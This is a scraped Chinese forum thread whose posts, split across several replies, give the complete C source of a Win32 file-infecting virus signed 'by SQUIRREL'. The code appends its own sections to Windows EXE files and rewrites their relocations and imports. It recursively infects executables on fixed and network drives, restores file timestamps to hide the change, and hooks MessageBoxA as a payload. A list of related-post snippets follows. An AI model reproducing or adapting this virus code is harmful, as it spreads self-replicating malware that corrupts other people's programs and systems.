////////////////////////////////////////////////////////////////////
/////////////
// Includes
/////////////
#include <stdio.h>
#include <windows.h>
/////////////////////
// Defines
/////////////////////
#define MEMALLOC(x) GlobalAlloc(GPTR, x)
#define MEMFREE(x) GlobalFree(x)
/////////////////////
// Type definitions
/////////////////////
typedef struct
{
WORD RelocOfs : 12;
WORD RelocType: 4;
} IMAGE_RELOCATION_DATA;
////////////
// Globals
////////////
IMAGE_NT_HEADERS PEHeader;
IMAGE_DOS_HEADER * IDosHeader;
IMAGE_NT_HEADERS * IPEHeader;
IMAGE_SECTION_HEADER * ISection;
IMAGE_SECTION_HEADER * Section = NULL;
int Generation = 1;
int VirusSections = 0;
int FirstVirusSection = 0;
int VirusCodeSection = 0;
int VirusImportSection = 0;
DWORD VirusImportSize = 0;
DWORD VirusRVAImports = 0;
DWORD HostRVAImports = 0;
int VirusRelocSection = 0;
DWORD VirusRelocSize = 0;
DWORD VirusRelocSizeDir = 0;
DWORD OfsSections = 0;
DWORD VirusBaseRVA = 0;
DWORD VirusEP = 0;
DWORD HostEP = 0;
//// Fix for Visual C 5.0 heap
//extern __small_block_heap;
//////////////
// Functions
//////////////
/////////////////////////////////////
// GetProcAddress for ordinal imports
/////////////////////////////////////
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
{
IMAGE_NT_HEADERS * DLLHeader;
IMAGE_EXPORT_DIRECTORY * Exports;
DWORD * AddrFunctions;
DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
Exports = (IMAGE_EXPORT_DIRECTORY *)(Base +
DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
return Base + AddrFunctions[NFunc - Exports->Base];
}
//////////////////////////////////
// Check file and read PE header
//////////////////////////////////
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
{
IMAGE_DOS_HEADER FileHeader;
WORD SizeSections;
DWORD BytesRead;
return
( // Read file header
( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_DOS_HEADER) )
&& // Check if EXE file
( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
&& // Seek to NewExe header
( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
&& // Read header
( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_NT_HEADERS) )
&& // Check if PE file
( PEHeader.Signature == IMAGE_NT_SIGNATURE )
&& // Alloc memory for file sections + virus sections
( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) *
sizeof(IMAGE_SECTION_HEADER)) )
&&
( (Section = MEMALLOC(SizeSections)) != NULL )
&&
( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
&& // Read PE sections
( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
&&
( BytesRead == SizeSections )
&& // Check if there is enough room for our sections
( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections *
sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
&& // Only infect when entry point belongs to 1st section
// Avoid reinfections and compressors (usually perform virus checks)
( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress +
Section[0].SizeOfRawData )
&& // Skip DDLs
( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
&& // Skip files with overlays or not aligned to file alignment
( SetFilePointer(FHandle, 0, NULL, FILE_END) ==
Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData +
Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
&& //Check if the host will overwrite our code with its unitialized data (not present in
disk)
( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <=
Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
);
}
///////////////////////////////////////
// Translates a RVA into a file offset
///////////////////////////////////////
DWORD RVA2Ofs(DWORD rva)
{
int NSect;
NSect = 0;
while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
{
if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
break;
NSect++;
}
return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
}
Top93 楼atm2001(松鼠)回复于
2002-03-09 18:14:25 得分 0
////////////////////////////////////////////
// I can't
remember what this function does
////////////////////////////////////////////
void InfectFile(HANDLE
FHandle)
{
BYTE * Relocations = NULL;
BYTE * HostRelocs = NULL;
BYTE * Ptr;
IMAGE_BASE_RELOCATION * RelocBlock;
IMAGE_RELOCATION_DATA *
PtrReloc;
int j;
// Let's do some
initializations
Section = NULL;
Relocations =
NULL;
HostRelocs = NULL;
Ptr = NULL;
if (ReadPEHeader(FHandle))
{
DWORD
SectionRVA;
int HostNSections;
DWORD
HostRelocsSize;
DWORD BytesRead;
int i;
HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
HostNSections = PEHeader.FileHeader.NumberOfSections;
HostRVAImports =
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// Search for victim import section
for (i=0; i<HostNSections; i++)
{
if (Section[i].VirtualAddress + Section[i].SizeOfRawData >
HostRVAImports)
{
// Do it
writable
Section[i].Characteristics |=
IMAGE_SCN_MEM_WRITE;
break;
}
}
Top
94 楼atm2001(松鼠)回复于
2002-03-09 18:16:48 得分 0
// Check if last section is .reloc
HostRelocsSize = 0;
if
(PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
==
Section[HostNSections-1].VirtualAddress)
{
// Then we'll join it to virus reloc
section
VirusBaseRVA = SectionRVA =
Section[HostNSections-1].VirtualAddress;
if (
(HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize =
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)))
== NULL)
{
goto L_Exit_Infect;
}
else // Read the .reloc
section
{
HostNSections--;
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData,
NULL, FILE_BEGIN);
ReadFile(FHandle, HostRelocs,
HostRelocsSize, &BytesRead, NULL);
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL,
FILE_BEGIN);
}
}
else //
There is no .reloc or it is not the last section
{
if
(PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
!=
0)
{ // There are relocs
but we didn't find them, so exit
goto
L_Exit_Infect;
}
VirusBaseRVA =
SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
SetFilePointer(FHandle, 0, NULL, FILE_END);
}
FirstVirusSection = HostNSections;
// Add
virus section table
CopyMemory(&Section[HostNSections],
&ISection[0], sizeof(IMAGE_SECTION_HEADER) *
VirusSections);
// Reloc virus code & fix
reloc sections
if ((Relocations =
MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) ==
NULL) //
Minimun a page
{
goto L_Exit_Infect;
}
CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader +
ISection[VirusRelocSection].VirtualAddress
+
ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize),
VirusRelocSize);
RelocBlock =
(IMAGE_BASE_RELOCATION *)Relocations;
PtrReloc =
(IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));
// Reloc all virus sections and write them
to disk
for (i=0; i<VirusSections; i++)
{
DWORD RelocsInBlock;
Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle,
0, NULL, FILE_CURRENT);
Section[HostNSections +
i].VirtualAddress = SectionRVA;
Section[HostNSections
+ i].SizeOfRawData = (ISection[i].SizeOfRawData +
PEHeader.OptionalHeader.FileAlignment-1) &
(-(long)PEHeader.OptionalHeader.FileAlignment);
if (i == VirusRelocSection) // Virus reloc section?
{
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
=
SectionRVA;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size =
HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize +
VirusRelocSize;
Section[HostNSections +
i].SizeOfRawData = (HostRelocsSize + VirusRelocSize +
(PEHeader.OptionalHeader.FileAlignment - 1)) &
(-(long)PEHeader.OptionalHeader.FileAlignment);
//
Write host relocations
WriteFile(FHandle,
HostRelocs, HostRelocsSize, &BytesRead, NULL);
// Add virus relocations
WriteFile(FHandle,
Relocations, VirusRelocSize, &BytesRead, NULL);
// Fill with zeros until file alignment
memset(Relocations, 0, 0x1000);
WriteFile(FHandle,
Relocations, Section[HostNSections + i].SizeOfRawData -
(HostRelocsSize
+ VirusRelocSize), &BytesRead,
NULL);
}
else
{
if ((Ptr = (BYTE
*)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
{
goto L_Exit_Infect;
}
CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader +
ISection[i].VirtualAddress),
ISection[i].SizeOfRawData);
// Patch Visual C 5.0 heap in .data
section
/*
{
DWORD
* PtrHeap = &__small_block_heap;
if (((DWORD)IDosHeader + ISection[i].VirtualAddress <
(DWORD)PtrHeap)
&&
((DWORD)IDosHeader + ISection[i].VirtualAddress +
ISection[i].SizeOfRawData >
(DWORD)PtrHeap)
)
{
PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader
-
ISection[i].VirtualAddress);
PtrHeap[3] = PtrHeap[2];
PtrHeap[4] =
PtrHeap[5] = (DWORD)-1;
}
}
*/
// Do relocations
in this section
while (
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData >
RelocBlock->VirtualAddress)
&&
((DWORD)PtrReloc <
(DWORD)Relocations + VirusRelocSizeDir)
)
{
DWORD Base;
Base = RelocBlock->VirtualAddress -
ISection[i].VirtualAddress;
RelocsInBlock =
(RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) /
sizeof(IMAGE_RELOCATION_DATA);
while
(RelocsInBlock--)
{
if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
{
*((DWORD *)&Ptr[Base +
PtrReloc->RelocOfs]) -=
(IPEHeader->OptionalHeader.ImageBase +
ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) +=
(PEHeader.OptionalHeader.ImageBase +
SectionRVA);
}
PtrReloc++;
}
RelocBlock->VirtualAddress
= RelocBlock->VirtualAddress - ISection[i].VirtualAddress +
SectionRVA;
RelocBlock =
(IMAGE_BASE_RELOCATION *)PtrReloc;
PtrReloc =
(IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock +
sizeof(IMAGE_BASE_RELOCATION));
}
// Check if this is the Import section
if (i == VirusImportSection)
{
IMAGE_IMPORT_DESCRIPTOR * Imports;
IMAGE_THUNK_DATA * DataImports;
DWORD StartImports;
DWORD DeltaRVAs;
DeltaRVAs = SectionRVA -
ISection[i].VirtualAddress;
StartImports =
IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
-
ISection[i].VirtualAddress;
Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
while (Imports->OriginalFirstThunk)
{
// Fix some initialized fields in
memory
Imports->TimeDateStamp =
Imports->ForwarderChain = 0;
Imports->OriginalFirstThunk += DeltaRVAs;
Imports->Name += DeltaRVAs;
Imports->FirstThunk += DeltaRVAs;
DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk
- SectionRVA];
do
{
DataImports->u1.AddressOfData =
(IMAGE_IMPORT_BY_NAME
*)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
}
while
((++DataImports)->u1.AddressOfData);
Imports++;
}
}
WriteFile(FHandle, Ptr, Section[HostNSections +
i].SizeOfRawData, &BytesRead, NULL);
MEMFREE(Ptr);
Ptr = NULL;
}
SectionRVA += ( Section[HostNSections +
i].Misc.VirtualSize +
(PEHeader.OptionalHeader.SectionAlignment - 1)) &
(-(long)PEHeader.OptionalHeader.SectionAlignment);
}//for
// Recalculate Header fields
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress
= 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size
= 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress
= 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
=
VirusRVAImports + Section[HostNSections +
VirusCodeSection].VirtualAddress;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size =
IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
PEHeader.OptionalHeader.SizeOfImage = SectionRVA;Top
95 楼zycat2002(展姚)回复于
2002-03-09 18:26:03 得分 0
PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP +
Section[HostNSections +
VirusCodeSection].VirtualAddress;
PEHeader.FileHeader.NumberOfSections = HostNSections +
VirusSections;
PEHeader.OptionalHeader.SizeOfCode = 0;
PEHeader.OptionalHeader.SizeOfInitializedData = 0;
PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
for
(j=0; j<PEHeader.FileHeader.NumberOfSections; j++)
{
if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
PEHeader.OptionalHeader.SizeOfCode +=
Section[j].SizeOfRawData;
if (Section[j].Characteristics
& IMAGE_SCN_CNT_INITIALIZED_DATA)
PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
if (Section[j].Characteristics &
IMAGE_SCN_CNT_UNINITIALIZED_DATA)
PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
}
// Write new header and section
table
SetFilePointer(FHandle, OfsSections -
sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS),
&BytesRead, NULL);
WriteFile(FHandle, Section,
PEHeader.FileHeader.NumberOfSections *
sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
}
L_Exit_Infect:
// Free allocated memory
if
(HostRelocs != NULL)
MEMFREE(HostRelocs);
if
(Relocations != NULL)
MEMFREE(Relocations);
if
(Section != NULL)
MEMFREE(Section);
if (Ptr
!= NULL)
MEMFREE(Ptr);
}
Top
96 楼atm2001(松鼠)回复于
2002-03-09 18:31:56 得分 0
///////////////////////////////////////////
// Recursively search
for files to infect
///////////////////////////////////////////
void SearchFiles(char * Path)
{
HANDLE
FindHandle;
HANDLE FHandle;
WIN32_FIND_DATA
FindResult;
FILETIME Time1, Time2, Time3;
if (SetCurrentDirectory(Path))
{
// Search for
EXE files in current directory
if ((FindHandle =
FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
{
do
{
FHandle = CreateFile(FindResult.cFileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,
NULL
);
if (FHandle !=
INVALID_HANDLE_VALUE)
{
GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get
file time
InfectFile(FHandle);
// Infect file
SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore
file time
CloseHandle(FHandle);
}
}
while
(FindNextFile(FindHandle, &FindResult));
}
FindClose(FindHandle);
// Now search for subdirectories
and process them
if ((FindHandle =
FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
{
do
{
if
(FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char * DirName;
DirName = _strupr(_strdup(FindResult.cFileName));
if (
(memcmp(DirName, "SYSTEM", 6)) // Skip SYSTEM??
&&
(FindResult.cFileName[0] != '.') // Skip loops with "." and
".."
)
{
SearchFiles(FindResult.cFileName);
}
free(DirName);
}
}
while (FindNextFile(FindHandle,
&FindResult));
}
FindClose(FindHandle);
}
}
/////////////////////////////////////////////
// Search fixed and
network drives to infect
/////////////////////////////////////////////
DWORD WINAPI
SearchDrives()
{
DWORD Drives;
BYTE
CurrentDrive[] = "A://";
DWORD DriveType;
BYTE
i;
Drives = GetLogicalDrives();
for (i=0;
i<sizeof(DWORD); i++)
{
if (Drives &
(1<<i)) // Drive present?
{
CurrentDrive[0] = 'A' + i;
DriveType =
GetDriveType(CurrentDrive);
// Only infect files in
Fixed and Network Drives
if ((DriveType ==
DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))
{
SearchFiles(CurrentDrive);
}
}
}
return 1;
}
Top
97 楼atm2001(松鼠)回复于
2002-03-09 18:35:26 得分 0
///////////
// Payload
///////////
int
MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)
{
char * Msgs[] =
{
"我爱你",
"Win32/致张一 by SQUIRREL",
"Warning! Don't
close this window",
"I already told you this
but..."
};
static int i = 0;
return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);
}
// Simulated host for 1st generation
void Gen1()
{
MyMessageBox(NULL, "我爱你", NULL,
MB_OK);
}
// Virus Entry Point
void main()
{
BYTE InfectedFile[_MAX_PATH];
DWORD ThreadID;
DWORD ThreadInfID;
HANDLE HThread;
HANDLE InfThread;
int i;
HMODULE *
HandleDLL = NULL;
int ImportedDLLs = 0;
// Get the infected filename
GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile));
//
And its memory address
IDosHeader = (IMAGE_DOS_HEADER
*)GetModuleHandle(InfectedFile);
IPEHeader =
(IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->e_lfanew);
if ( IPEHeader->Signature == IMAGE_NT_SIGNATURE )
// Check if we got the PE header
{
// Get ptr to Sections
ISection =
(IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS));
// Get ptr to virus Sections
ISection
+= FirstVirusSection;
if (Generation++ ==
1)
{ // Make some easy 1st-gen calcs to
avoid complex ones in next generations
HostEP =
(DWORD)Gen1 - (DWORD)IDosHeader;
VirusSections =
IPEHeader->FileHeader.NumberOfSections; // Number of sections
// Get the order of sections
for
(i=0; i<VirusSections; i++)
{
if ((ISection[i].VirtualAddress <=
IPEHeader->OptionalHeader.AddressOfEntryPoint)
&&
(ISection[i].VirtualAddress +
ISection[i].SizeOfRawData >
IPEHeader->OptionalHeader.AddressOfEntryPoint)
)
{ // This is the code section
VirusCodeSection = i;
VirusEP
= IPEHeader->OptionalHeader.AddressOfEntryPoint -
ISection[i].VirtualAddress;
}
else
{
if
((ISection[i].VirtualAddress <=
IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
&&
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData >
IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
)
{ // This is the
import section
VirusImportSection = i;
VirusRVAImports =
IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
-
ISection[0].VirtualAddress;
}
else
{
if (ISection[i].VirtualAddress ==
IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
{ // This is the reloc section
VirusRelocSection = i;
VirusRelocSize = ISection[i].Misc.VirtualSize;
VirusRelocSizeDir =
IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
}
}
}
}//for
}Top
98 楼atm2001(松鼠)回复于
2002-03-09 18:37:11 得分 0
else // Not first generation
{
IMAGE_IMPORT_DESCRIPTOR * HostImports;
int i;
HostImports = (IMAGE_IMPORT_DESCRIPTOR
*)(HostRVAImports + (DWORD)IDosHeader);
// Count
imported DLLs
while (HostImports->OriginalFirstThunk)
{
ImportedDLLs++;
HostImports++;
}
HandleDLL =
(HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE));
// Make host imports
HostImports =
(IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
for (i=0; i<ImportedDLLs; i++)
{
DWORD * FunctionName;
DWORD *
FunctionAddr;
LPCTSTR Name;
LPCTSTR StExitThread = "ExitThread";
if
((HandleDLL[i] = LoadLibrary((LPCTSTR)(HostImports->Name +
(DWORD)IDosHeader))) == NULL)
{ // Exit if
not find a DLL
char StError[100];
MEMFREE(HandleDLL);
sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->Name +
(DWORD)IDosHeader));
MessageBox(NULL, StError,
"Error initializing program", MB_OK | MB_ICONWARNING);
ExitProcess(0);
}
// Perform host imports
FunctionName =
(DWORD *)(HostImports->OriginalFirstThunk + (DWORD)IDosHeader);
FunctionAddr = (DWORD *)(HostImports->FirstThunk +
(DWORD)IDosHeader);
while (*FunctionName)
{
if (*FunctionName &
IMAGE_ORDINAL_FLAG)
{
// Windows doesn't like ordinal imports from kernel32, so
use my own GetProcAddress
*FunctionAddr
= GetProcAddressOrd((DWORD)HandleDLL[i], IMAGE_ORDINAL(*FunctionName));
}
else
{
Name = (LPCTSTR)((DWORD)IDosHeader
+ *FunctionName + 2/*Hint*/);
//
Change ExitProcess by ExitThread
if
(!strcmp(Name, "ExitProcess"))
Name =
StExitThread;
// Set payload
if (!strcmp(Name, "MessageBoxA"))
*FunctionAddr = (DWORD)&MyMessageBox;
else
*FunctionAddr =
(DWORD)GetProcAddress(HandleDLL[i], Name);
}
FunctionName++;
FunctionAddr++;
}
HostImports++;
}
}
HostEP +=
(DWORD)IDosHeader;
// Exec host with a thread
if ((HThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0,
&ThreadID)) != NULL)
{
HANDLE
VirusMutex;
// Check if already
resident
if ( ((VirusMutex = CreateMutex(NULL,
FALSE, "squirrel")) != NULL)
&&
(GetLastError() != ERROR_ALREADY_EXISTS)
)
{
// Create
infection thread
InfThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)SearchDrives , NULL,
CREATE_SUSPENDED, &ThreadInfID);
// Assign a
low priority
SetThreadPriority(InfThread,
THREAD_PRIORITY_IDLE);
// Activate it
ResumeThread(InfThread);
// Wait until
infection completed
WaitForSingleObject(InfThread,
INFINITE);
ReleaseMutex(VirusMutex);
}
// Wait until host thread finnished
WaitForSingleObject(HThread, INFINITE);
}
for (i=0; i<ImportedDLLs; i++)
{
FreeLibrary(HandleDLL[i]);
}
if
(HandleDLL != NULL)
MEMFREE(HandleDLL);
}
相关推荐
[病毒分析]熊猫烧香(上)初始分析
熊猫烧香病毒分析(第一篇)一、病毒初始化二、PEID加壳检查三、IDA和OD的分析(1)使用IDA载入病毒样本(2)定位到0x0040CB7E位置(3)sub_403C98函数分析(4)打开IDA进入sub_403C98函数(5)sub_405360函数分析(6)sub_404018函数分析(7)loc_40CBBC功能分析四、总结 熊猫烧香样本下载 提取码:8189 一、病毒初始化 1、工具准备 IDA、OD、PEID 2、基本流程: 利用查壳工具检查病毒是否带壳 利用OD动态分析病毒 利用IDA
VC++信息安全编程(6)实现杀毒程序,杀灭D3病毒范例
下面我们用代码亲自来实践一个杀毒程序,清除程序的可读可写,并扫描程序的特征码,对病毒进行删除 #include "stdafx.h" #include "ScanDisk.h" #include "ScanDiskDlg.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FI
AI 与新媒体
AI重构新媒体生态:从生产到分发的全链路变革 AI正成为新媒体领域的核心基础设施,通过五大能力重塑内容产业:自动化生产(AIGC写作/制图/剪辑效率提升5-10倍)、智能分发(算法精准匹配用户)、数据洞察(实时舆情分析)、风险管控(审核效率提升12倍)和运营优化(A/B测试自动化)。这推动行业从"人找内容"转向"内容找人",制作成本下降90%的同时,也带来同质化加剧、版权争议和职业重构等挑战。当前阶段,人机协同成为主流——AI处理标准化生产,人类专注创意与价值观把控。
VC病毒(一)
关于使用c++做的伤害性大
TP4054充电电路发热严重?手把手教你调整电阻值降低温度(附实测数据)
本文针对TP4054锂电池充电电路发热严重的问题,提供了详细的排错与解决方案。通过分析发热原理,指出核心在于PROG引脚电阻值设定,并手把手指导如何计算和选择正确的电阻以降低充电电流与温度。文末附有不同电阻下的实测温度与性能数据,为电子爱好者和工程师提供了实用的调试参考。
FPGA中参数化SPI接口设计与Verilog实现
SPI(串行外设接口)作为嵌入式系统的核心通信协议,通过全双工、高速率特性在FPGA与Flash、ADC等外设交互中占据重要地位。参数化设计通过抽象时钟极性、数据位宽等可配置维度,采用分层架构实现硬件复用,显著提升开发效率。Verilog实现需重点处理跨时钟域同步和可配置帧结构,结合AXI总线集成与UVM验证方法学,可构建适应工业控制、物联网网关等场景的高可靠SPI解决方案。
VC病毒(三)
VC病毒(三)
狗都能看懂的Proximal Policy Optimization(PPO)PPO算法详解
李宏毅老师的PPO算法讲解笔记
QQ尾巴病毒 VC
前一段时间在病毒源代码的博客上看到了QQ尾巴病毒的原理,他的博客确实不错,有很多这方面的东西。不过他是用VB或者DELPHI写的(区分不清,呵呵),而且感觉他写得有点乱,可能我习惯看C格式的代码吧。最近我用VC重写了一下,增加了一点设置功能,一些地方又加了些注释,会比较容易看懂。 首先新建一个WIN32 CONSOLE的工程,主文件代码如下: #include "stdafx.h" #i
揭秘无人机前沿领域的科技新突破
本文旨在系统性地介绍无人机技术在前沿领域的最新突破,涵盖从基础理论到实际应用的各个方面。我们将重点关注那些正在改变无人机行业面貌的关键技术创新,并分析它们对未来发展的影响。文章首先介绍无人机技术的基础概念和背景,然后深入探讨六个关键领域的技术突破,接着分析实际应用案例,最后展望未来发展趋势。自主导航系统(SLAM):同时定位与地图构建技术,使无人机能在未知环境中自主导航计算机视觉(CV):使无人机能够"看"和理解周围环境的技术5G通信:第五代移动通信技术,提供高速、低延迟的数据传输能源管理。
一步一步教你如何安装IP-Guard(客户端WINDOWS篇)
1、安装完服务器后,在服务器右下角有一个IP-GUARD图标:如图 2、点图标右键选注册: 3、注册成功后, 4、在开始菜单里选生成客户端安装包。 5、生成客户端安装包成功,安装名字可以任意,但是最好是英文名字。 6、将客户端安装程序复制到桌面。 7、退出所有杀毒软件、安全卫士、电脑管家等然后运行 8、安装完成后,立即重启计算机。IPguard客户端安装完成。 9、这样在控制里就可以看到已经安装客户端的计算机,在线显示蓝色,灰色表示计算机已经离线货关机 ...
PE型感染病毒 —— VC源码
狼哥的原话:“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本......” 这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧..... 这是测试Test.dll源码: [cpp] view plaincopyprint? ///////
Devexpress16.2.6破解工具
Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具
VC病毒(二)
VC病毒第二期
SAP B1中文培訓教材_SDK
公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说
Camera2Demo
在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作
中了.lock/VC勒索病毒怎么办 成功解密 sql文件恢复
最近出现了后缀是.lock/VC/ciphered/AOL/auchentoshan勒索病毒,大家注意防范湖北某公司中了3台后缀是.lock的勒索病毒,经过我们共同讨论研究,两天内全部解密完成,为公司挽回重大损失!勒索病毒如何预防 :1、及时给电脑打补丁,修复漏洞。2、对重要的数据文件定期进行非本地备份。3、不要点击来源不明的邮件附件,不从不明网站下载软件。4、尽量关闭不必要的文件共享权限。5、更...
NTscan扫描工具
ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。
最近甚是无聊, 学起了VC, 看了点书,在网上也找了些, 终于搞出两个病毒,呵呵
最近甚是无聊, 学起了VC, 看了点书,在网上也找了些, 终于搞出两个病毒,呵呵.一个是让电脑重启, 开机后该程序又会自动运行.程序会弹出一个对警告对话框,不要点,点了就会重启, 在任任务栏里关门她, 再运行msconfig 取消,开机自动运行.(其实还有更狠地.....)另一个是用hook, 把键盘,鼠标都给屏蔽了, 按Ctrl+z就可取消鼠标屏蔽, 一切就又好了.下载地址:hehe
病毒学习之一(转贴)病毒分类 WINDOWS下的PE病毒 病毒名称 Trojan.QQTail.Shejele.a
病毒分类 WINDOWS下的PE病毒 病毒名称 Trojan.QQTail.Shejele.a 别 名 病毒长度 依赖系统 传播途径 行为类型 WINDOWS下的木马程序 感 染 病毒发作 瑞 星 版 本 号 17.19.10 采用VC编写,PECompact加壳,通过QQ,MSN等IM工具传播。 运行后将自
Visual C++(VC)6.0安装教程
VC++6.0安装教程
在VC中使用自定义资源,FindResource,LoadResource,LockResource
关键字:VC 自定义资 源FindResource LoadResource LockResource一、前言 在VC环境中除了我们所常用的Dialog、Menu和Bitmap等标准资源类型之外,它还支持自定义资源类型(Custom Resource),我们自定义的资源类型能做些什么呢?呵呵,用处多多。1. 默认的皮肤压缩包或语言包。一些支持换肤的软件特别是一些媒体播放器常常有自定
